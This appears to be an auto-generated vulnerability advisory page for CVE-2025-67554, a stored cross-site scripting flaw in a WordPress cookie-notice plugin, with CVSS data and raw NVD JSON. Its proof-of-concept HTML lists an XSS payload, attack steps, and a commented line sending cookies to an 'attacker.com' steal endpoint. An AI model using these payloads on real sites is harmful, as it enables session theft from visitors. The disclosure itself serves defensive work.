Security Vulnerability Report
中文
CVE-2025-67554 CVSS 5.9 MEDIUM

CVE-2025-67554

Published: 2025-12-09 16:18:32
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Humanityco Cookie Notice & Compliance for GDPR / CCPA cookie-notice allows Stored XSS.This issue affects Cookie Notice & Compliance for GDPR / CCPA: from n/a through <= 2.5.8.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Cookie Notice & Compliance for GDPR/CCPA <= 2.5.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-67554 Stored XSS PoC --> <!-- Payload: <script>alert(document.cookie)</script> --> <!-- This PoC demonstrates the stored XSS in Cookie Notice plugin --> <!DOCTYPE html> <html> <head> <title>CVE-2025-67554 PoC</title> <style> body { font-family: Arial, sans-serif; padding: 20px; } .payload { background: #f0f0f0; padding: 10px; margin: 10px 0; } .note { color: #666; font-size: 12px; } </style> </head> <body> <h2>CVE-2025-67554 Stored XSS PoC</h2> <p><strong>Affected Plugin:</strong> Cookie Notice & Compliance for GDPR/CCPA</p> <p><strong>Affected Versions:</strong> <= 2.5.8</p> <div class='payload'> <strong>XSS Payload:</strong><br> <code>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code> </div> <h3>Attack Scenario:</h3> <ol> <li>Attacker with admin/editor privileges accesses WordPress admin panel</li> <li>Navigate to Cookie Notice plugin settings (Settings > Cookie Notice)</li> <li>Inject XSS payload into cookie banner text fields (title, message, button text)</li> <li>Save settings - payload is stored in database</li> <li>When visitors access the site, the stored script executes in their browser</li> <li>Attacker steals session cookies, performs actions on behalf of users</li> </ol> <p class='note'> Note: This is a proof-of-concept. Actual exploitation requires authenticated access to WordPress admin panel with capability to modify plugin settings. </p> <script> // Simulated stored XSS execution demonstration console.log('CVE-2025-67554 PoC loaded'); // In real attack: document.location='https://attacker.com/steal?c='+document.cookie </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67554", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:31.603", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Humanityco Cookie Notice & Compliance for GDPR / CCPA cookie-notice allows Stored XSS.This issue affects Cookie Notice & Compliance for GDPR / CCPA: from n/a through <= 2.5.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cookie-notice/vulnerability/wordpress-cookie-notice-compliance-for-gdpr-ccpa-plugin-2-5-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}